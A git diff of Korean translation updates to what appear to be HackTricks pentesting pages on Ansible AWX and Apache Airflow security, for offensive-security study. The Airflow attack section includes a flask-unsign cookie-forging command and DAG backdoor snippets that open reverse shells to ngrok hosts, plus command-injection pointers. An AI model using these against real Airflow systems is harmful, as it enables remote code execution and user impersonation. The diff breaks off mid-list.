diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index 7affd134e..bcedffb4d 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -4,36 +4,36 @@
## Basic Information
-**Ansible Tower** 또는 그 오픈소스 버전 [**AWX**](https://github.com/ansible/awx)는 **Ansible의 사용자 인터페이스, 대시보드 및 REST API**로 알려져 있습니다. **역할 기반 접근 제어**, 작업 예약 및 그래픽 인벤토리 관리를 통해 현대적인 UI에서 Ansible 인프라를 관리할 수 있습니다. Tower의 REST API 및 명령줄 인터페이스는 현재 도구 및 워크플로우에 통합하기 쉽게 만듭니다.
+**Ansible Tower** 또는 오픈소스 버전 [**AWX**](https://github.com/ansible/awx)는 **Ansible의 사용자 인터페이스, 대시보드 및 REST API**로 알려져 있습니다. **역할 기반 접근 제어**, 작업 예약 및 그래픽 인벤토리 관리를 통해 현대적인 UI에서 Ansible 인프라를 관리할 수 있습니다. Tower의 REST API 및 명령줄 인터페이스는 현재 도구 및 워크플로우에 통합하기 쉽게 만듭니다.
**Automation Controller는 더 많은 기능을 갖춘** Ansible Tower의 최신 버전입니다.
### Differences
-[**이**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00)에 따르면, Ansible Tower와 AWX의 주요 차이점은 받은 지원이며, Ansible Tower는 역할 기반 접근 제어, 사용자 정의 API 지원 및 사용자 정의 워크플로우와 같은 추가 기능을 가지고 있습니다.
+[**이것**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00)에 따르면, Ansible Tower와 AWX의 주요 차이점은 받은 지원과 Ansible Tower가 역할 기반 접근 제어, 사용자 정의 API 지원 및 사용자 정의 워크플로우와 같은 추가 기능을 갖추고 있다는 것입니다.
### Tech Stack
- **Web Interface**: 사용자가 인벤토리, 자격 증명, 템플릿 및 작업을 관리할 수 있는 그래픽 인터페이스입니다. 직관적으로 설계되어 있으며 자동화 작업의 상태와 결과를 이해하는 데 도움이 되는 시각화를 제공합니다.
-- **REST API**: 웹 인터페이스에서 할 수 있는 모든 작업을 REST API를 통해서도 수행할 수 있습니다. 이는 AWX/Tower를 다른 시스템과 통합하거나 일반적으로 인터페이스에서 수행하는 작업을 스크립트화할 수 있음을 의미합니다.
+- **REST API**: 웹 인터페이스에서 할 수 있는 모든 작업을 REST API를 통해서도 수행할 수 있습니다. 이는 AWX/Tower를 다른 시스템과 통합하거나 인터페이스에서 일반적으로 수행하는 작업을 스크립트화할 수 있음을 의미합니다.
- **Database**: AWX/Tower는 구성, 작업 결과 및 기타 필요한 운영 데이터를 저장하기 위해 데이터베이스(일반적으로 PostgreSQL)를 사용합니다.
-- **RabbitMQ**: AWX/Tower가 다양한 구성 요소 간에, 특히 웹 서비스와 작업 실행기 간에 통신하는 데 사용하는 메시징 시스템입니다.
+- **RabbitMQ**: AWX/Tower가 다양한 구성 요소 간에 통신하는 데 사용하는 메시징 시스템입니다. 특히 웹 서비스와 작업 실행기 간의 통신에 사용됩니다.
- **Redis**: Redis는 캐시 및 작업 큐의 백엔드 역할을 합니다.
### Logical Components
-- **Inventories**: 인벤토리는 **작업**(Ansible 플레이북)을 **실행할 수 있는 호스트(또는 노드)의 모음**입니다. AWX/Tower는 인벤토리를 정의하고 그룹화할 수 있으며, AWS, Azure 등과 같은 다른 시스템에서 **호스트 목록을 가져오는** 동적 인벤토리도 지원합니다.
+- **Inventories**: 인벤토리는 **작업**(Ansible 플레이북)을 **실행할 수 있는 호스트(또는 노드)의 모음**입니다. AWX/Tower는 인벤토리를 정의하고 그룹화할 수 있으며 AWS, Azure 등과 같은 다른 시스템에서 **호스트 목록을 가져오는** 동적 인벤토리도 지원합니다.
- **Projects**: 프로젝트는 본질적으로 **버전 관리 시스템**(예: Git)에서 소스된 **Ansible 플레이북의 모음**으로, 필요할 때 최신 플레이북을 가져옵니다.
- **Templates**: 작업 템플릿은 **특정 플레이북이 어떻게 실행될 것인지** 정의하며, **인벤토리**, **자격 증명** 및 작업에 대한 기타 **매개변수**를 지정합니다.
-- **Credentials**: AWX/Tower는 SSH 키, 비밀번호 및 API 토큰과 같은 비밀을 **관리하고 저장하는** 안전한 방법을 제공합니다. 이러한 자격 증명은 작업 템플릿과 연결되어 플레이북이 실행될 때 필요한 접근 권한을 가집니다.
-- **Task Engine**: 마법이 일어나는 곳입니다. 작업 엔진은 Ansible을 기반으로 구축되며 **플레이북을 실행하는** 역할을 합니다. 작업은 작업 엔진에 배포되며, 지정된 인벤토리에 대해 지정된 자격 증명을 사용하여 Ansible 플레이북을 실행합니다.
+- **Credentials**: AWX/Tower는 **SSH 키, 비밀번호 및 API 토큰**과 같은 비밀을 **관리하고 저장하는** 안전한 방법을 제공합니다. 이러한 자격 증명은 작업 템플릿과 연결되어 플레이북이 실행될 때 필요한 접근 권한을 가집니다.
+- **Task Engine**: 마법이 일어나는 곳입니다. 작업 엔진은 Ansible을 기반으로 구축되어 있으며 **플레이북을 실행하는** 역할을 합니다. 작업은 작업 엔진에 배포되며, 지정된 인벤토리에 대해 지정된 자격 증명을 사용하여 Ansible 플레이북을 실행합니다.
- **Schedulers and Callbacks**: AWX/Tower의 고급 기능으로, **작업을 특정 시간에 실행하도록 예약**하거나 외부 이벤트에 의해 트리거할 수 있습니다.
- **Notifications**: AWX/Tower는 작업의 성공 또는 실패에 따라 알림을 보낼 수 있습니다. 이메일, Slack 메시지, 웹훅 등 다양한 알림 수단을 지원합니다.
- **Ansible Playbooks**: Ansible 플레이북은 구성, 배포 및 오케스트레이션 도구입니다. 자동화되고 반복 가능한 방식으로 시스템의 원하는 상태를 설명합니다. YAML로 작성되며, 플레이북은 Ansible의 선언적 자동화 언어를 사용하여 구성, 작업 및 실행해야 할 단계를 설명합니다.
### Job Execution Flow
-1. **User Interaction**: 사용자는 **Web Interface** 또는 **REST API**를 통해 AWX/Tower와 상호작용할 수 있습니다. 이는 AWX/Tower가 제공하는 모든 기능에 대한 프론트엔드 접근을 제공합니다.
+1. **User Interaction**: 사용자는 **Web Interface** 또는 **REST API**를 통해 AWX/Tower와 상호작용할 수 있습니다. 이러한 방법은 AWX/Tower가 제공하는 모든 기능에 대한 프론트엔드 접근을 제공합니다.
2. **Job Initiation**:
- 사용자는 웹 인터페이스 또는 API를 통해 **Job Template**에 기반하여 작업을 시작합니다.
- 작업 템플릿에는 **인벤토리**, **프로젝트**(플레이북 포함) 및 **자격 증명**에 대한 참조가 포함됩니다.
@@ -47,16 +47,16 @@
- 플레이북이 실행되는 동안 실행 출력(로그, 사실 등)이 캡처되어 **Database**에 저장됩니다.
5. **Job Results**:
- 플레이북 실행이 완료되면 결과(성공, 실패, 로그)가 **Database**에 저장됩니다.
-- 사용자는 웹 인터페이스를 통해 결과를 보거나 REST API를 통해 쿼리할 수 있습니다.
-- 작업 결과에 따라 **Notifications**가 전송되어 사용자 또는 외부 시스템에 작업 상태를 알릴 수 있습니다. 알림은 이메일, Slack 메시지, 웹훅 등이 될 수 있습니다.
+- 사용자는 웹 인터페이스를 통해 결과를 확인하거나 REST API를 통해 쿼리할 수 있습니다.
+- 작업 결과에 따라 **Notifications**가 사용자 또는 외부 시스템에 작업 상태를 알리기 위해 전송될 수 있습니다. 알림은 이메일, Slack 메시지, 웹훅 등이 될 수 있습니다.
6. **External Systems Integration**:
- **Inventories**는 외부 시스템에서 동적으로 소싱할 수 있어 AWX/Tower가 AWS, Azure, VMware 등과 같은 소스에서 호스트를 가져올 수 있습니다.
- **Projects**(플레이북)는 버전 관리 시스템에서 가져올 수 있어 작업 실행 중 최신 플레이북을 사용할 수 있습니다.
-- **Schedulers and Callbacks**는 다른 시스템이나 도구와 통합하는 데 사용될 수 있어 AWX/Tower가 외부 트리거에 반응하거나 미리 정해진 시간에 작업을 실행할 수 있습니다.
+- **Schedulers and Callbacks**는 다른 시스템이나 도구와 통합하는 데 사용될 수 있어 AWX/Tower가 외부 트리거에 반응하거나 미리 정해진 시간에 작업을 실행할 수 있게 합니다.
### AWX lab creation for testing
-[**문서를 따르면서**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) docker-compose를 사용하여 AWX를 실행할 수 있습니다:
+[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) docker-compose를 사용하여 AWX를 실행할 수 있습니다:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -88,11 +88,11 @@ docker exec tools_awx_1 awx-manage create_preload_data
가장 권한이 높은 역할은 **시스템 관리자**라고 합니다. 이 역할을 가진 사람은 **모든 것을 수정할 수 있습니다**.
-**화이트 박스 보안** 검토를 위해서는 **시스템 감사자 역할**이 필요하며, 이 역할은 **모든 시스템 데이터를 볼 수 있지만** 변경할 수는 없습니다. 다른 옵션은 **조직 감사자 역할**을 얻는 것이지만, 다른 역할을 얻는 것이 더 좋습니다.
+**화이트 박스 보안** 검토에서는 **시스템 감사자 역할**이 필요하며, 이 역할은 **모든 시스템 데이터를 볼 수 있지만** 변경할 수는 없습니다. 다른 옵션은 **조직 감사자 역할**을 얻는 것이지만, 다른 역할을 얻는 것이 더 좋습니다.
-사용 가능한 역할에 대한 자세한 설명을 보려면 확장하세요
+사용 가능한 역할에 대한 자세한 설명을 보려면 여기를 확장하세요
1. **시스템 관리자**:
- 시스템의 모든 리소스에 접근하고 수정할 수 있는 슈퍼유저 역할입니다.
@@ -127,9 +127,9 @@ docker exec tools_awx_1 awx-manage create_preload_data
8. **팀 역할**:
- **회원**: 팀의 일원이지만 특정 권한이 없습니다.
- **관리자**: 팀의 구성원 및 관련 리소스를 관리할 수 있습니다.
-9. **워크플로우 역할**:
-- **관리자**: 워크플로우를 관리하고 수정할 수 있습니다.
-- **실행**: 워크플로우를 실행할 수 있습니다.
+9. **워크플로 역할**:
+- **관리자**: 워크플로를 관리하고 수정할 수 있습니다.
+- **실행**: 워크플로를 실행할 수 있습니다.
- **읽기**: 보기 전용 접근.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index 1c8fa7503..12790aa47 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -2,21 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
-### Basic Information
+### 기본 정보
-[**Apache Airflow**](https://airflow.apache.org)는 **데이터 파이프라인 또는 워크플로우를 조정하고 예약하는 플랫폼**으로 사용됩니다. 데이터 파이프라인의 맥락에서 "조정"이라는 용어는 다양한 출처에서 발생하는 복잡한 데이터 워크플로우를 정리하고, 조정하며, 관리하는 과정을 의미합니다. 이러한 조정된 데이터 파이프라인의 주요 목적은 처리되고 소비 가능한 데이터 세트를 제공하는 것입니다. 이러한 데이터 세트는 비즈니스 인텔리전스 도구, 데이터 과학 및 머신 러닝 모델을 포함하되 이에 국한되지 않는 수많은 애플리케이션에서 광범위하게 사용되며, 이는 빅 데이터 애플리케이션의 기능에 기초가 됩니다.
+[**Apache Airflow**](https://airflow.apache.org)는 **데이터 파이프라인 또는 워크플로우를 조정하고 예약하는 플랫폼**으로 사용됩니다. 데이터 파이프라인의 맥락에서 "조정"이라는 용어는 다양한 출처에서 발생하는 복잡한 데이터 워크플로우를 정리하고, 조정하며, 관리하는 과정을 의미합니다. 이러한 조정된 데이터 파이프라인의 주요 목적은 처리되고 소비 가능한 데이터 세트를 제공하는 것입니다. 이러한 데이터 세트는 비즈니스 인텔리전스 도구, 데이터 과학 및 머신 러닝 모델 등 다양한 애플리케이션에서 광범위하게 사용되며, 이는 빅 데이터 애플리케이션의 기능에 필수적입니다.
기본적으로, Apache Airflow는 **무언가**(이벤트, 크론)가 **발생할 때 코드 실행을 예약할 수 있게 해줍니다**.
-### Local Lab
+### 로컬 실험실
#### Docker-Compose
-[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml)에서 **docker-compose 구성 파일**을 사용하여 완전한 apache airflow 도커 환경을 시작할 수 있습니다. (MacOS를 사용하는 경우 도커 VM에 최소 6GB의 RAM을 할당해야 합니다).
+[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml)에서 **docker-compose 구성 파일을 사용하여** 완전한 apache airflow 도커 환경을 시작할 수 있습니다. (MacOS를 사용하는 경우 도커 VM에 최소 6GB의 RAM을 할당해야 합니다).
#### Minikube
-**apache airflow**를 실행하는 한 가지 쉬운 방법은 **minikube로 실행하는 것**입니다:
+**apache airflow**를 실행하는 쉬운 방법 중 하나는 **minikube로 실행하는 것입니다**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -26,7 +26,7 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
-### Airflow Configuration
+### Airflow 구성
Airflow는 **민감한 정보**를 구성에 저장할 수 있으며, 약한 구성이 있을 수 있습니다:
@@ -36,17 +36,17 @@ airflow-configuration.md
### Airflow RBAC
-Airflow를 공격하기 전에 **권한이 어떻게 작동하는지** 이해해야 합니다:
+Airflow를 공격하기 전에 **권한 작동 방식**을 이해해야 합니다:
{{#ref}}
airflow-rbac.md
{{#endref}}
-### Attacks
+### 공격
-#### Web Console Enumeration
+#### 웹 콘솔 열거
-**웹 콘솔에 접근할 수 있다면** 다음 정보 중 일부 또는 전부에 접근할 수 있습니다:
+**웹 콘솔에 접근할 수** 있다면 다음 정보 중 일부 또는 전부에 접근할 수 있습니다:
- **변수** (여기에 사용자 정의 민감한 정보가 저장될 수 있습니다)
- **연결** (여기에 사용자 정의 민감한 정보가 저장될 수 있습니다)
@@ -55,29 +55,29 @@ airflow-rbac.md
- **사용자 및 역할** 목록
- **각 DAG의 코드** (흥미로운 정보가 포함될 수 있습니다)
-#### Retrieve Variables Values
+#### 변수 값 검색
-변수는 Airflow에 저장될 수 있어 **DAGs**가 그 값을 **접근**할 수 있습니다. 이는 다른 플랫폼의 비밀과 유사합니다. **충분한 권한**이 있다면 `http:///variable/list/`의 GUI에서 접근할 수 있습니다.\
+변수는 Airflow에 저장될 수 있어 **DAGs**가 **값에 접근**할 수 있습니다. 이는 다른 플랫폼의 비밀과 유사합니다. **충분한 권한**이 있다면 `http:///variable/list/`의 GUI에서 접근할 수 있습니다.\
Airflow는 기본적으로 GUI에서 변수의 값을 표시하지만, [**이**](https://marclamberti.com/blog/variables-with-apache-airflow/)에 따르면 **값**이 **별표**로 표시되는 **변수 목록**을 설정할 수 있습니다.
.png>)
-그러나 이러한 **값**은 여전히 **CLI**를 통해 **가져올 수** 있습니다 (DB 접근이 필요함), **임의의 DAG** 실행, **API**를 통해 변수 엔드포인트에 접근 (API가 활성화되어야 함), **심지어 GUI 자체에서도!**\
+그러나 이러한 **값**은 여전히 **CLI**를 통해 **검색**할 수 있으며 (DB 접근이 필요), **임의의 DAG** 실행, **API**를 통해 변수 엔드포인트에 접근 (API가 활성화되어야 함), **심지어 GUI 자체**를 통해서도 가능합니다!\
GUI에서 이러한 값에 접근하려면 **접근하고자 하는 변수**를 선택하고 **작업 -> 내보내기**를 클릭하면 됩니다.\
또 다른 방법은 **검색 필터링**을 사용하여 **숨겨진 값**에 대해 **브루트포스**를 수행하는 것입니다:
.png>)
-#### Privilege Escalation
+#### 권한 상승
-**`expose_config`** 구성이 **True**로 설정되어 있다면, **User** 역할 및 **상위 역할**은 **웹에서 구성**을 **읽을 수** 있습니다. 이 구성에는 **`secret_key`**가 나타나며, 이는 유효한 사용자가 **자신의 서명된 쿠키를 생성하여 다른 사용자 계정을 가장할 수** 있음을 의미합니다.
+**`expose_config`** 구성이 **True**로 설정된 경우, **User** 역할 및 **상위** 역할은 **웹에서 구성**을 **읽을 수** 있습니다. 이 구성에는 **`secret_key`**가 나타나며, 이는 유효한 사용자가 **자신의 서명된 쿠키를 생성하여 다른 사용자 계정을 가장할 수** 있음을 의미합니다.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG 백도어 (Airflow 작업자에서 RCE)
-**DAGs가 저장된** 위치에 **쓰기 권한**이 있다면, **역방향 셸**을 보내는 **하나를 생성**할 수 있습니다.\
-이 역방향 셸은 **airflow 작업자 컨테이너** 내에서 실행될 것입니다:
+**DAGs가 저장된** 위치에 **쓰기 권한**이 있다면, **역쉘**을 보내는 **하나를 생성**할 수 있습니다.\
+이 역쉘은 **airflow worker container** 내에서 실행될 것입니다:
```python
import pendulum
from airflow import DAG
@@ -116,9 +116,9 @@ python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
-#### DAG 백도어 (Airflow 스케줄러의 RCE)
+#### DAG 백도어 (Airflow 스케줄러에서 RCE)
-코드의 **루트에서 실행되도록 설정**하면, 이 글을 작성하는 순간, DAG 폴더에 넣은 후 몇 초 후에 **스케줄러에 의해 실행**됩니다.
+코드의 **루트에서 실행되도록 설정**하면, 이 글을 작성하는 시점에서 DAG의 폴더에 넣은 후 몇 초 후에 **스케줄러에 의해 실행**됩니다.
```python
import pendulum, socket, os, pty
from airflow import DAG
@@ -144,22 +144,22 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### DAG 생성
-만약 **DAG 클러스터 내의 머신을 손상시키는 데 성공한다면**, `dags/` 폴더에 새로운 **DAG 스크립트**를 생성할 수 있으며, 이 스크립트는 **DAG 클러스터 내의 나머지 머신에 복제됩니다**.
+DAG 클러스터 내의 **머신을 손상시키는 데 성공하면**, `dags/` 폴더에 새로운 **DAG 스크립트**를 생성할 수 있으며, 이 스크립트는 DAG 클러스터 내의 **다른 머신에 복제됩니다**.
#### DAG 코드 주입
GUI에서 DAG를 실행할 때 **인수를 전달**할 수 있습니다.\
-따라서, DAG가 제대로 코딩되지 않았다면 **명령어 주입에 취약할 수 있습니다.**\
-이것이 이 CVE에서 발생한 일입니다: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
+따라서 DAG가 제대로 코딩되지 않으면 **명령어 주입에 취약할 수 있습니다.**\
+이 CVE에서 발생한 일입니다: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-**DAG에서 명령어 주입을 찾기 시작하기 위해 알아야 할 모든 것은** **매개변수**가 **코드 `dag_run.conf.get("param_name")`로 **접근된다는 것입니다**.
+DAG에서 **명령어 주입을 찾기 시작하기 위해 알아야 할 모든 것은** **매개변수**가 **코드 `dag_run.conf.get("param_name")`**로 **접근된다는 것입니다**.
-게다가, 같은 취약점이 **변수**에서도 발생할 수 있습니다 (충분한 권한이 있다면 GUI에서 **변수의 값을 제어할 수 있습니다**). 변수는 **다음과 같이 접근됩니다**:
+게다가, 동일한 취약점이 **변수**에서도 발생할 수 있습니다(충분한 권한이 있으면 GUI에서 **변수의 값을 제어할 수 있습니다**). 변수는 **다음과 같이 접근됩니다**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
-예를 들어 bash 명령어 안에서 사용된다면, 명령어 주입을 수행할 수 있습니다.
+예를 들어 bash 명령어 안에서 사용된다면, 명령어 주입을 수행할 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index c45dd3ceb..8441ba079 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -8,12 +8,12 @@
**이 파일에 접근하는 방법은 두 가지입니다: 일부 airflow 머신을 손상시키거나 웹 콘솔에 접근하는 것입니다.**
-**config file의 값**은 **사용되는 값이 아닐 수 있습니다**, 환경 변수를 설정하여 덮어쓸 수 있습니다. 예: `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+**config file의 값**은 **사용되는 값이 아닐 수 있습니다**, 환경 변수를 설정하여 덮어쓸 수 있습니다, 예: `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
**웹 서버의 config file에 접근할 수 있다면**, config가 표시되는 동일한 페이지에서 **실제 실행 구성**을 확인할 수 있습니다.\
**airflow 환경 내의 일부 머신에 접근할 수 있다면**, **환경**을 확인하십시오.
-config file을 읽을 때 확인할 만한 몇 가지 흥미로운 값:
+config file을 읽을 때 확인할 흥미로운 값들:
### \[api]
@@ -25,10 +25,10 @@ config file을 읽을 때 확인할 만한 몇 가지 흥미로운 값:
- `airflow.api.auth.backend.default`: **모두가** 인증 없이 접근할 수 있습니다.
- `airflow.api.auth.backend.kerberos_auth`: **kerberos 인증**을 구성합니다.
- `airflow.api.auth.backend.basic_auth`: **기본 인증**을 위한 것입니다.
-- `airflow.composer.api.backend.composer_auth`: 작곡가 인증(GCP)을 사용합니다 ( [**여기**](https://cloud.google.com/composer/docs/access-airflow-api)에서).
+- `airflow.composer.api.backend.composer_auth`: 작곡가 인증(GCP)을 사용합니다 ( [**여기서**](https://cloud.google.com/composer/docs/access-airflow-api) ).
- `composer_auth_user_registration_role`: 이는 **airflow** 내에서 **작곡가 사용자**가 가질 **역할**을 나타냅니다 (**Op**가 기본값입니다).
- 또한 **자신만의 인증** 방법을 파이썬으로 만들 수 있습니다.
-- **`google_key_path`:** **GCP 서비스 계정 키**의 경로입니다.
+- **`google_key_path`:** **GCP 서비스 계정 키**에 대한 경로입니다.
### **\[atlas]**
@@ -38,32 +38,32 @@ config file을 읽을 때 확인할 만한 몇 가지 흥미로운 값:
### \[celery]
- **`flower_basic_auth`** : 자격 증명 (_user1:password1,user2:password2_)
-- **`result_backend`**: **자격 증명**을 포함할 수 있는 Postgres URL.
-- **`ssl_cacert`**: cacert의 경로
-- **`ssl_cert`**: 인증서의 경로
-- **`ssl_key`**: 키의 경로
+- **`result_backend`**: **자격 증명**을 포함할 수 있는 Postgres URL입니다.
+- **`ssl_cacert`**: cacert에 대한 경로
+- **`ssl_cert`**: 인증서에 대한 경로
+- **`ssl_key`**: 키에 대한 경로
### \[core]
-- **`dag_discovery_safe_mode`**: 기본적으로 활성화되어 있습니다. DAG를 발견할 때 `DAG` 및 `airflow` 문자열이 포함되지 않은 파일은 무시합니다.
+- **`dag_discovery_safe_mode`**: 기본적으로 활성화되어 있습니다. DAG를 발견할 때 `DAG`와 `airflow` 문자열이 포함되지 않은 파일은 무시합니다.
- **`fernet_key`**: 암호화된 변수를 저장하기 위한 키(대칭)
- **`hide_sensitive_var_conn_fields`**: 기본적으로 활성화되어 있으며, 연결의 민감한 정보를 숨깁니다.
-- **`security`**: 사용할 보안 모듈(예: kerberos)
+- **`security`**: 사용할 보안 모듈 (예: kerberos)
### \[dask]
-- **`tls_ca`**: ca의 경로
-- **`tls_cert`**: 인증서의 경로
-- **`tls_key`**: tls 키의 경로
+- **`tls_ca`**: ca에 대한 경로
+- **`tls_cert`**: 인증서에 대한 경로
+- **`tls_key`**: tls 키에 대한 경로
### \[kerberos]
-- **`ccache`**: ccache 파일의 경로
+- **`ccache`**: ccache 파일에 대한 경로
- **`forwardable`**: 기본적으로 활성화되어 있습니다.
### \[logging]
-- **`google_key_path`**: GCP JSON 자격 증명의 경로입니다.
+- **`google_key_path`**: GCP JSON 자격 증명에 대한 경로입니다.
### \[secrets]
@@ -78,17 +78,17 @@ config file을 읽을 때 확인할 만한 몇 가지 흥미로운 값:
### \[webserver]
- **`cookie_samesite`**: 기본적으로 **Lax**이며, 따라서 이미 가능한 가장 약한 값입니다.
-- **`cookie_secure`**: 세션 쿠키에 **보안 플래그** 설정
-- **`expose_config`**: 기본값은 False이며, true인 경우 **config**를 웹 **콘솔**에서 **읽을 수 있습니다.**
-- **`expose_stacktrace`**: 기본값은 True이며, **python tracebacks**를 표시합니다 (공격자에게 유용할 수 있음).
-- **`secret_key`**: 이는 **flask가 쿠키에 서명하는 데 사용하는 키**입니다 (이 키가 있으면 **Airflow에서 모든 사용자를 가장할 수 있습니다**).
-- **`web_server_ssl_cert`**: **SSL** **인증서**의 **경로**입니다.
-- **`web_server_ssl_key`**: **SSL** **키**의 **경로**입니다.
+- **`cookie_secure`**: 세션 쿠키에 **보안 플래그**를 설정합니다.
+- **`expose_config`**: 기본값은 False이며, true일 경우 **config**를 웹 **콘솔**에서 **읽을 수 있습니다**.
+- **`expose_stacktrace`**: 기본값은 True이며, **파이썬 추적**을 표시합니다 (공격자에게 유용할 수 있습니다).
+- **`secret_key`**: 이는 쿠키에 서명하기 위해 flask가 사용하는 **키**입니다 (이 키가 있으면 **Airflow에서 모든 사용자를 가장할 수 있습니다**).
+- **`web_server_ssl_cert`**: **SSL** **인증서**에 대한 **경로**입니다.
+- **`web_server_ssl_key`**: **SSL** **키**에 대한 **경로**입니다.
- **`x_frame_enabled`**: 기본값은 **True**이며, 따라서 기본적으로 클릭재킹이 불가능합니다.
### Web Authentication
-기본적으로 **웹 인증**은 **`webserver_config.py`** 파일에 지정되어 있으며 다음과 같이 구성됩니다.
+기본적으로 **웹 인증**은 **`webserver_config.py`** 파일에 지정되어 있으며 구성됩니다.
```bash
AUTH_TYPE = AUTH_DB
```
@@ -96,7 +96,7 @@ AUTH_TYPE = AUTH_DB
```bash
AUTH_TYPE = AUTH_OAUTH
```
-**제3자 서비스에 인증을 맡기기 위해.**
+**제3자 서비스에 인증을 맡기기 위해서**.
그러나 **익명 사용자 접근을 허용하는** 옵션도 있으며, 다음 매개변수를 **원하는 역할**로 설정할 수 있습니다:
```bash
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 1eaf2d6ec..6ef9d031c 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,7 +4,7 @@
## RBAC
-(문서에서)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow는 기본적으로 **역할 세트**를 제공합니다: **Admin**, **User**, **Op**, **Viewer**, 및 **Public**. **오직 `Admin`** 사용자만이 **다른 역할의 권한을 구성/변경할 수 있습니다**. 그러나 `Admin` 사용자가 이러한 기본 역할을 권한을 제거하거나 추가하여 변경하는 것은 권장되지 않습니다.
+(문서에서)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow는 기본적으로 **역할 세트**를 제공합니다: **Admin**, **User**, **Op**, **Viewer**, 및 **Public**. **오직 `Admin`** 사용자만이 **다른 역할의 권한을 구성/변경할 수 있습니다**. 그러나 `Admin` 사용자가 이러한 기본 역할을 변경하여 권한을 추가하거나 제거하는 것은 권장되지 않습니다.
- **`Admin`** 사용자는 모든 가능한 권한을 가집니다.
- **`Public`** 사용자는 권한이 없습니다.
@@ -12,9 +12,9 @@
- **`User`** 사용자는 `Viewer` 권한과 추가적인 사용자 권한을 가지고 있어 DAG를 약간 관리할 수 있습니다. 그는 **구성 파일을 볼 수 있습니다.**
- **`Op`** 사용자는 `User` 권한과 추가적인 운영 권한을 가집니다.
-**Admin** 사용자는 **더 많은 역할을 생성**하고 더 **세분화된 권한**을 부여할 수 있습니다.
+**admin** 사용자는 **더 많은 역할**을 **더 세분화된 권한**으로 생성할 수 있습니다.
-또한 **사용자 및 역할을 나열할 수 있는 권한이 있는 유일한 기본 역할은 Admin이며, Op조차도 이를 수행할 수 없습니다.**
+또한 **사용자와 역할을 나열할 수 있는 권한이 있는 유일한 기본 역할은 Admin이며, Op조차도 이를 수행할 수 없습니다.**
### 기본 권한
@@ -22,19 +22,19 @@
- **Admin**
-\[Connections에서 삭제할 수 있으며, Connections에서 읽을 수 있으며, Connections에서 편집할 수 있으며, Connections에서 생성할 수 있으며, DAGs에서 읽을 수 있으며, DAGs에서 편집할 수 있으며, DAGs에서 삭제할 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Task Instances에서 편집할 수 있으며, DAG Runs에서 삭제할 수 있으며, DAG Runs에서 생성할 수 있으며, DAG Runs에서 편집할 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, Pools에서 삭제할 수 있으며, Pools에서 읽을 수 있으며, Pools에서 편집할 수 있으며, Pools에서 생성할 수 있으며, Providers에서 읽을 수 있으며, Variables에서 삭제할 수 있으며, Variables에서 읽을 수 있으며, Variables에서 편집할 수 있으며, Variables에서 생성할 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Configurations에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, Roles에서 읽을 수 있으며, Permissions에서 읽을 수 있으며, Roles에서 삭제할 수 있으며, Roles에서 편집할 수 있으며, Roles에서 생성할 수 있으며, Users에서 읽을 수 있으며, Users에서 생성할 수 있으며, Users에서 편집할 수 있으며, Users에서 삭제할 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, 